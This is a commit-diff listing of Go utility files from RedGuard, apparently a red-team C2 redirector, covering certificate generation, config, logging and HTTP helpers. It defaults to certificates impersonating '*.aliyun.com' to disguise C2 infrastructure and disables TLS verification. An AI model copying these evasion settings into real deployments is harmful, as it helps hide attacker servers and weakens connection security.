// Place the resulting certificate into the pem.Block structure
|
||||
block := pem.Block{
|
||||
Type: "CERTIFICATE",
|
||||
Headers: nil,
|
||||
Bytes: certificate,
|
||||
}
|
||||
// Encoded by PEM and written to disk files
|
||||
file, _ := os.Create("cert-rsa/ca.crt")
|
||||
defer func(file *os.File) {
|
||||
_ = file.Close()
|
||||
}(file)
|
||||
_ = pem.Encode(file, &block)
|
||||
// Put the key pair from the private key into the pem.Block structure
|
||||
block = pem.Block{
|
||||
Type: "RSA PRIVATE KEY",
|
||||
Headers: nil,
|
||||
Bytes: x509.MarshalPKCS1PrivateKey(priv),
|
||||
}
|
||||
// Encoded by PEM and written to disk files
|
||||
file, _ = os.Create("cert-rsa/ca.key")
|
||||
_ = pem.Encode(file, &block)
|
||||
}
|
||||
|
||||
func InitGenerateSelfSignedCert() {
|
||||
// Check whether an SSL certificate is generated
|
||||
if _existsCrt, _ := FileExists("cert-rsa/ca.crt"); _existsCrt {
|
||||
if _existsKey, _ := FileExists("cert-rsa/ca.key"); _existsKey {
|
||||
return
|
||||
}
|
||||
}
|
||||
// Example Create a CA certificate storage directory
|
||||
if _, err := os.Stat("cert-rsa"); err != nil {
|
||||
_ = os.Mkdir("cert-rsa", 0766) // Directory permissions
|
||||
}
|
||||
var cert parameter.Cert
|
||||
cfg := InitConfig() // init config file object
|
||||
// Get the information in the configuration file
|
||||
cert.CommonName = ReadConfig(`cert`, `CommonName`, cfg)
|
||||
cert.Locality = ReadConfig(`cert`, `Locality`, cfg)
|
||||
cert.Organization = ReadConfig(`cert`, `Organization`, cfg)
|
||||
cert.DNSName = strings.Split(ReadConfig(`cert`, `DNSName`, cfg), `,`)
|
||||
cert.Country = ReadConfig(`cert`, `Country`, cfg)
|
||||
// Generate a self-signed certificate method
|
||||
GenerateSelfSignedCert(&cert)
|
||||
logger.Critical("A default SSL certificate is being generated for the reverse proxy...")
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: CreateSSL.go
|
||||
* @Time: 2022/5/8 12:51
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/pem"
|
||||
"math/big"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"RedGuard/core/parameter"
|
||||
)
|
||||
|
||||
// GenerateSelfSignedCert Generate a self-signed CA certificate
|
||||
// @param cert *parameter.Cert Certificate Configuration
|
||||
// NOTE: The *.aliyun.com certificate is used by default.
|
||||
// You can customize the certificate information by initializing the configuration file
|
||||
// By default, the certificate is stored in the cert-RSA directory in the tool directory
|
||||
func GenerateSelfSignedCert(cert *parameter.Cert) {
|
||||
priv, err := rsa.GenerateKey(rand.Reader, 2048) // Generating a key pair
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
// Creating a Certificate Template
|
||||
template := x509.Certificate{
|
||||
SerialNumber: big.NewInt(time.Now().UnixNano()), // CA Certificate Serial number
|
||||
// Issuer information, same as consumer information
|
||||
Issuer: pkix.Name{},
|
||||
// Consumer certificate Information
|
||||
Subject: pkix.Name{
|
||||
CommonName: cert.CommonName, // Cert CommonName
|
||||
Locality: []string{cert.Locality}, // Cert Locality
|
||||
Organization: []string{cert.Organization}, // Cert Organization
|
||||
Country: []string{cert.Country}, // Cert Country
|
||||
},
|
||||
// Start time of validity
|
||||
NotBefore: time.Now(),
|
||||
NotAfter: time.Now().Add(time.Hour * 24 * 365), // failure time
|
||||
// Indicates that the certificate is used for server authentication
|
||||
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
}
|
||||
// User Optional name
|
||||
template.DNSNames = append(template.DNSNames, cert.DNSName...)
|
||||
// Create a certificate, where the second parameter is the same
|
||||
// the third parameter means that the certificate is self-certificate.
|
||||
// return value is DER encoded certificate
|
||||
certificate, err := x509.CreateCertificate(
|
||||
rand.Reader,
|
||||
&template,
|
||||
&template,
|
||||
&priv.PublicKey,
|
||||
priv,
|
||||
)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
// Place the resulting certificate into the pem.Block structure
|
||||
block := pem.Block{
|
||||
Type: "CERTIFICATE",
|
||||
Headers: nil,
|
||||
Bytes: certificate,
|
||||
}
|
||||
// Encoded by PEM and written to disk files
|
||||
file, _ := os.Create("cert-rsa/ca.crt")
|
||||
defer func(file *os.File) {
|
||||
_ = file.Close()
|
||||
}(file)
|
||||
_ = pem.Encode(file, &block)
|
||||
// Put the key pair from the private key into the pem.Block structure
|
||||
block = pem.Block{
|
||||
Type: "RSA PRIVATE KEY",
|
||||
Headers: nil,
|
||||
Bytes: x509.MarshalPKCS1PrivateKey(priv),
|
||||
}
|
||||
// Encoded by PEM and written to disk files
|
||||
file, _ = os.Create("cert-rsa/ca.key")
|
||||
_ = pem.Encode(file, &block)
|
||||
}
|
||||
|
||||
func InitGenerateSelfSignedCert() {
|
||||
// Check whether an SSL certificate is generated
|
||||
if _existsCrt, _ := FileExists("cert-rsa/ca.crt"); _existsCrt {
|
||||
if _existsKey, _ := FileExists("cert-rsa/ca.key"); _existsKey {
|
||||
return
|
||||
}
|
||||
}
|
||||
// Example Create a CA certificate storage directory
|
||||
if _, err := os.Stat("cert-rsa"); err != nil {
|
||||
_ = os.Mkdir("cert-rsa", 0766) // Directory permissions
|
||||
}
|
||||
var cert parameter.Cert
|
||||
cfg := InitConfig() // init config file object
|
||||
// Get the information in the configuration file
|
||||
cert.CommonName = ReadConfig(`cert`, `CommonName`, cfg)
|
||||
cert.Locality = ReadConfig(`cert`, `Locality`, cfg)
|
||||
cert.Organization = ReadConfig(`cert`, `Organization`, cfg)
|
||||
cert.DNSName = strings.Split(ReadConfig(`cert`, `DNSName`, cfg), `,`)
|
||||
cert.Country = ReadConfig(`cert`, `Country`, cfg)
|
||||
// Generate a self-signed certificate method
|
||||
GenerateSelfSignedCert(&cert)
|
||||
logger.Critical("A default SSL certificate is being generated for the reverse proxy...")
|
||||
}
|
||||
|
||||
+34
-34
@@ -1,34 +1,34 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: MicsSlice.go
|
||||
* @Time: 2022/5/26 13:54
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"math/rand"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MicsSlice Returns a random element of the specified array
|
||||
// @param origin []int16 Gets an array of values
|
||||
// @param count int Gets the number of random elements
|
||||
func MicsSlice(origin []uint16, count int) []uint16 {
|
||||
tmpOrigin := make([]uint16, len(origin))
|
||||
copy(tmpOrigin, origin)
|
||||
rand.Seed(time.Now().Unix())
|
||||
rand.Shuffle(len(tmpOrigin), func(i int, j int) {
|
||||
tmpOrigin[i], tmpOrigin[j] = tmpOrigin[j], tmpOrigin[i]
|
||||
})
|
||||
|
||||
result := make([]uint16, 0, count)
|
||||
for index, value := range tmpOrigin {
|
||||
if index == count {
|
||||
break
|
||||
}
|
||||
result = append(result, value)
|
||||
}
|
||||
return result
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: MicsSlice.go
|
||||
* @Time: 2022/5/26 13:54
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"math/rand"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MicsSlice Returns a random element of the specified array
|
||||
// @param origin []int16 Gets an array of values
|
||||
// @param count int Gets the number of random elements
|
||||
func MicsSlice(origin []uint16, count int) []uint16 {
|
||||
tmpOrigin := make([]uint16, len(origin))
|
||||
copy(tmpOrigin, origin)
|
||||
rand.Seed(time.Now().Unix())
|
||||
rand.Shuffle(len(tmpOrigin), func(i int, j int) {
|
||||
tmpOrigin[i], tmpOrigin[j] = tmpOrigin[j], tmpOrigin[i]
|
||||
})
|
||||
|
||||
result := make([]uint16, 0, count)
|
||||
for index, value := range tmpOrigin {
|
||||
if index == count {
|
||||
break
|
||||
}
|
||||
result = append(result, value)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
+59
-59
@@ -1,59 +1,59 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: convert.go
|
||||
* @Time: 2022/5/9 12:24
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// JsonToMap Convert json string to map
|
||||
func JsonToMap(jsonStr string) map[string]string {
|
||||
mapper := make(map[string]string)
|
||||
err := json.Unmarshal([]byte(jsonStr), &mapper)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return mapper
|
||||
}
|
||||
|
||||
// ConvertIP Find IP Address
|
||||
func ConvertIP(ip string) string {
|
||||
reg, _ := regexp.Compile(`\d+\.\d+\.\d+\.\d+`)
|
||||
return string(reg.Find([]byte(ip)))
|
||||
}
|
||||
|
||||
// EncodeMD5 Convert string to md5
|
||||
func EncodeMD5(s string) string {
|
||||
hash := md5.New()
|
||||
hash.Write([]byte(s))
|
||||
md5Str := hex.EncodeToString(hash.Sum(nil))
|
||||
return md5Str
|
||||
}
|
||||
|
||||
// CheckIP Check whether the entered IP address is valid
|
||||
func CheckIP(ip string) bool {
|
||||
if m, _ := regexp.MatchString("^(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)$", ip); !m {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func FileExists(path string) (bool, error) {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
return true, nil
|
||||
}
|
||||
if os.IsNotExist(err) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: convert.go
|
||||
* @Time: 2022/5/9 12:24
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// JsonToMap Convert json string to map
|
||||
func JsonToMap(jsonStr string) map[string]string {
|
||||
mapper := make(map[string]string)
|
||||
err := json.Unmarshal([]byte(jsonStr), &mapper)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return mapper
|
||||
}
|
||||
|
||||
// ConvertIP Find IP Address
|
||||
func ConvertIP(ip string) string {
|
||||
reg, _ := regexp.Compile(`\d+\.\d+\.\d+\.\d+`)
|
||||
return string(reg.Find([]byte(ip)))
|
||||
}
|
||||
|
||||
// EncodeMD5 Convert string to md5
|
||||
func EncodeMD5(s string) string {
|
||||
hash := md5.New()
|
||||
hash.Write([]byte(s))
|
||||
md5Str := hex.EncodeToString(hash.Sum(nil))
|
||||
return md5Str
|
||||
}
|
||||
|
||||
// CheckIP Check whether the entered IP address is valid
|
||||
func CheckIP(ip string) bool {
|
||||
if m, _ := regexp.MatchString("^(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)$", ip); !m {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func FileExists(path string) (bool, error) {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
return true, nil
|
||||
}
|
||||
if os.IsNotExist(err) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
|
||||
+97
-97
@@ -1,97 +1,97 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: handle_config.go
|
||||
* @Time: 2022/5/5 9:15
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"RedGuard/config"
|
||||
"RedGuard/core/parameter"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/user"
|
||||
|
||||
"github.com/go-ini/ini"
|
||||
)
|
||||
|
||||
var (
|
||||
_ConfigFilename string // Config Filename
|
||||
logger = Logger() // logger output model
|
||||
//localPath, _ = os.Getwd() // Current project root directory
|
||||
)
|
||||
|
||||
func InitConfig() *ini.File {
|
||||
// Check whether the configuration file has been created
|
||||
cfg, err := ini.Load(_ConfigFilename) // Loading a Configuration File
|
||||
// Check whether loading failed
|
||||
if err != nil {
|
||||
logger.Errorf("Fail to read file: %v", err)
|
||||
os.Exit(0)
|
||||
}
|
||||
// return *ini.File object
|
||||
return cfg
|
||||
}
|
||||
|
||||
func CreateConfig(C2Server string, ConfigPath string) (int, bool) {
|
||||
currentUser, _ := user.Current() // Current operating system user directory
|
||||
_ConfigFilename = fmt.Sprintf("%s/.RedGuard_%s.ini", currentUser.HomeDir, C2Server)
|
||||
// Verify that the configuration file is customized
|
||||
if file, _ := ioutil.ReadFile(ConfigPath); len(file) != 0 {
|
||||
_ConfigFilename = ConfigPath // Configuration file using a custom path
|
||||
}
|
||||
// Check whether the current operating system user directory configuration file exists
|
||||
if _, err := os.Stat(_ConfigFilename); err == nil || os.IsExist(err) {
|
||||
return 0, true
|
||||
}
|
||||
destination, err := os.Create(_ConfigFilename) // Operating system user directory location
|
||||
_, _ = destination.WriteString(config.RedGuardConfig)
|
||||
defer func(destination *os.File) {
|
||||
_ = destination.Close() // close destination File
|
||||
}(destination)
|
||||
logger.Notice("RedGuard initialization is complete!")
|
||||
logger.Noticef("RedGuard config path is: %s", _ConfigFilename)
|
||||
return 1, err == nil
|
||||
}
|
||||
|
||||
// WriteConfig Write data to config file
|
||||
func WriteConfig(section, key, value string, cfg *ini.File) bool {
|
||||
cfg.Section(section).Key(key).SetValue(value)
|
||||
if err := cfg.SaveTo(_ConfigFilename); err != nil {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// ReadConfig Return Field data specified in the configuration file
|
||||
func ReadConfig(section, key string, cfg *ini.File) string {
|
||||
return cfg.Section(section).Key(key).String()
|
||||
}
|
||||
|
||||
// UpdateConfig Modify the content of the configuration file
|
||||
// Oh, my God, this is not elegant!
|
||||
func UpdateConfig(cert *parameter.Cert, proxy *parameter.Proxy) {
|
||||
var (
|
||||
_certList = map[string]string{
|
||||
"Locality": cert.Locality, "Country": cert.Country, "Organization": cert.Organization,
|
||||
"CommonName": cert.CommonName, "DNSName": cert.DNSNameTo, "HasCert": cert.HasCert,
|
||||
}
|
||||
_proxyLIst = map[string]string{
|
||||
"Port_HTTP": proxy.HTTPort, "Port_HTTPS": proxy.HTTPSPort, "Redirect": proxy.Redirect,
|
||||
"AllowIP": proxy.AllowIP, "AllowTime": proxy.AllowTime, "AllowLocation": proxy.AllowLocation,
|
||||
"DropAction": proxy.DropAction, "HostTarget": proxy.HostTarget, "MalleableFile": proxy.MalleableFile,
|
||||
}
|
||||
cfg = InitConfig()
|
||||
)
|
||||
// re cert Write Config
|
||||
for k, v := range _certList {
|
||||
WriteConfig("cert", k, v, cfg)
|
||||
}
|
||||
// re proxy Write Config
|
||||
for k, v := range _proxyLIst {
|
||||
WriteConfig("proxy", k, v, cfg)
|
||||
}
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: handle_config.go
|
||||
* @Time: 2022/5/5 9:15
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"RedGuard/config"
|
||||
"RedGuard/core/parameter"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/user"
|
||||
|
||||
"github.com/go-ini/ini"
|
||||
)
|
||||
|
||||
var (
|
||||
_ConfigFilename string // Config Filename
|
||||
logger = Logger() // logger output model
|
||||
//localPath, _ = os.Getwd() // Current project root directory
|
||||
)
|
||||
|
||||
func InitConfig() *ini.File {
|
||||
// Check whether the configuration file has been created
|
||||
cfg, err := ini.Load(_ConfigFilename) // Loading a Configuration File
|
||||
// Check whether loading failed
|
||||
if err != nil {
|
||||
logger.Errorf("Fail to read file: %v", err)
|
||||
os.Exit(0)
|
||||
}
|
||||
// return *ini.File object
|
||||
return cfg
|
||||
}
|
||||
|
||||
func CreateConfig(C2Server string, ConfigPath string) (int, bool) {
|
||||
currentUser, _ := user.Current() // Current operating system user directory
|
||||
_ConfigFilename = fmt.Sprintf("%s/.RedGuard_%s.ini", currentUser.HomeDir, C2Server)
|
||||
// Verify that the configuration file is customized
|
||||
if file, _ := ioutil.ReadFile(ConfigPath); len(file) != 0 {
|
||||
_ConfigFilename = ConfigPath // Configuration file using a custom path
|
||||
}
|
||||
// Check whether the current operating system user directory configuration file exists
|
||||
if _, err := os.Stat(_ConfigFilename); err == nil || os.IsExist(err) {
|
||||
return 0, true
|
||||
}
|
||||
destination, err := os.Create(_ConfigFilename) // Operating system user directory location
|
||||
_, _ = destination.WriteString(config.RedGuardConfig)
|
||||
defer func(destination *os.File) {
|
||||
_ = destination.Close() // close destination File
|
||||
}(destination)
|
||||
logger.Notice("RedGuard initialization is complete!")
|
||||
logger.Noticef("RedGuard config path is: %s", _ConfigFilename)
|
||||
return 1, err == nil
|
||||
}
|
||||
|
||||
// WriteConfig Write data to config file
|
||||
func WriteConfig(section, key, value string, cfg *ini.File) bool {
|
||||
cfg.Section(section).Key(key).SetValue(value)
|
||||
if err := cfg.SaveTo(_ConfigFilename); err != nil {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// ReadConfig Return Field data specified in the configuration file
|
||||
func ReadConfig(section, key string, cfg *ini.File) string {
|
||||
return cfg.Section(section).Key(key).String()
|
||||
}
|
||||
|
||||
// UpdateConfig Modify the content of the configuration file
|
||||
// Oh, my God, this is not elegant!
|
||||
func UpdateConfig(cert *parameter.Cert, proxy *parameter.Proxy) {
|
||||
var (
|
||||
_certList = map[string]string{
|
||||
"Locality": cert.Locality, "Country": cert.Country, "Organization": cert.Organization,
|
||||
"CommonName": cert.CommonName, "DNSName": cert.DNSNameTo, "HasCert": cert.HasCert,
|
||||
}
|
||||
_proxyLIst = map[string]string{
|
||||
"Port_HTTP": proxy.HTTPort, "Port_HTTPS": proxy.HTTPSPort, "Redirect": proxy.Redirect,
|
||||
"AllowIP": proxy.AllowIP, "AllowTime": proxy.AllowTime, "AllowLocation": proxy.AllowLocation,
|
||||
"DropAction": proxy.DropAction, "HostTarget": proxy.HostTarget, "MalleableFile": proxy.MalleableFile,
|
||||
}
|
||||
cfg = InitConfig()
|
||||
)
|
||||
// re cert Write Config
|
||||
for k, v := range _certList {
|
||||
WriteConfig("cert", k, v, cfg)
|
||||
}
|
||||
// re proxy Write Config
|
||||
for k, v := range _proxyLIst {
|
||||
WriteConfig("proxy", k, v, cfg)
|
||||
}
|
||||
}
|
||||
|
||||
+32
-32
@@ -1,32 +1,32 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: logger.go
|
||||
* @Time: 2022/5/5 9:09
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import "github.com/phachon/go-logger"
|
||||
|
||||
func Logger() *go_logger.Logger {
|
||||
logger := go_logger.NewLogger()
|
||||
if err := logger.Detach("console"); err != nil {
|
||||
return nil
|
||||
}
|
||||
console := &go_logger.ConsoleConfig{
|
||||
Color: true, // Whether the text shows color
|
||||
Format: "[%timestamp_format%] %body%",
|
||||
}
|
||||
fileConfig := &go_logger.FileConfig{
|
||||
Filename: "./RedGuard.log",
|
||||
MaxSize: 1024 * 1024, // Maximum file size (KB). The default value is 0
|
||||
MaxLine: 50000,
|
||||
MaxBak: 1,
|
||||
DateSlice: "d",
|
||||
Format: "[%timestamp_format%] [%function%] %body%",
|
||||
}
|
||||
logger.Attach("file", go_logger.LOGGER_LEVEL_DEBUG, fileConfig)
|
||||
logger.Attach("console", go_logger.LOGGER_LEVEL_DEBUG, console)
|
||||
return logger
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: logger.go
|
||||
* @Time: 2022/5/5 9:09
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import "github.com/phachon/go-logger"
|
||||
|
||||
func Logger() *go_logger.Logger {
|
||||
logger := go_logger.NewLogger()
|
||||
if err := logger.Detach("console"); err != nil {
|
||||
return nil
|
||||
}
|
||||
console := &go_logger.ConsoleConfig{
|
||||
Color: true, // Whether the text shows color
|
||||
Format: "[%timestamp_format%] %body%",
|
||||
}
|
||||
fileConfig := &go_logger.FileConfig{
|
||||
Filename: "./RedGuard.log",
|
||||
MaxSize: 1024 * 1024, // Maximum file size (KB). The default value is 0
|
||||
MaxLine: 50000,
|
||||
MaxBak: 1,
|
||||
DateSlice: "d",
|
||||
Format: "[%timestamp_format%] [%function%] %body%",
|
||||
}
|
||||
logger.Attach("file", go_logger.LOGGER_LEVEL_DEBUG, fileConfig)
|
||||
logger.Attach("console", go_logger.LOGGER_LEVEL_DEBUG, console)
|
||||
return logger
|
||||
}
|
||||
|
||||
+49
-49
@@ -1,49 +1,49 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: request.go
|
||||
* @Time: 2022/5/5 9:08
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/axgle/mahonia"
|
||||
"github.com/go-resty/resty/v2"
|
||||
)
|
||||
|
||||
const USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
|
||||
|
||||
// HTTPRequest HTTP request and gets the response status and the body
|
||||
// @param url string The URL to request
|
||||
// @return respBody string HTTP response Body
|
||||
// @return status int HTTP response status
|
||||
func HTTPRequest(url string) (status int, respBody string) {
|
||||
client := resty.New()
|
||||
// The HTTP request timed out for 8 seconds
|
||||
client.SetTimeout(8 * time.Minute)
|
||||
client.SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true}) // disable security check (https)
|
||||
// HTTP request header information
|
||||
client.Header = http.Header{
|
||||
"User-Agent": {USERAGENT},
|
||||
"Accept": {"text/html, application/xhtml+xml, image/jxr, */*"},
|
||||
"RedGuard": {"True"},
|
||||
"charset": {"UTF-8"},
|
||||
}
|
||||
resp, err := client.R().
|
||||
EnableTrace(). // the Resty client trace for the requests fired
|
||||
Get(url) // HTTP GET requests
|
||||
// Check whether the HTTP URL request succeeds
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// return HTTP response StatusCode
|
||||
return resp.StatusCode(),
|
||||
// return response body data
|
||||
strings.TrimSpace(mahonia.NewDecoder("gbk").ConvertString(string(resp.Body())))
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: request.go
|
||||
* @Time: 2022/5/5 9:08
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/axgle/mahonia"
|
||||
"github.com/go-resty/resty/v2"
|
||||
)
|
||||
|
||||
const USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
|
||||
|
||||
// HTTPRequest HTTP request and gets the response status and the body
|
||||
// @param url string The URL to request
|
||||
// @return respBody string HTTP response Body
|
||||
// @return status int HTTP response status
|
||||
func HTTPRequest(url string) (status int, respBody string) {
|
||||
client := resty.New()
|
||||
// The HTTP request timed out for 8 seconds
|
||||
client.SetTimeout(8 * time.Minute)
|
||||
client.SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true}) // disable security check (https)
|
||||
// HTTP request header information
|
||||
client.Header = http.Header{
|
||||
"User-Agent": {USERAGENT},
|
||||
"Accept": {"text/html, application/xhtml+xml, image/jxr, */*"},
|
||||
"RedGuard": {"True"},
|
||||
"charset": {"UTF-8"},
|
||||
}
|
||||
resp, err := client.R().
|
||||
EnableTrace(). // the Resty client trace for the requests fired
|
||||
Get(url) // HTTP GET requests
|
||||
// Check whether the HTTP URL request succeeds
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// return HTTP response StatusCode
|
||||
return resp.StatusCode(),
|
||||
// return response body data
|
||||
strings.TrimSpace(mahonia.NewDecoder("gbk").ConvertString(string(resp.Body())))
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user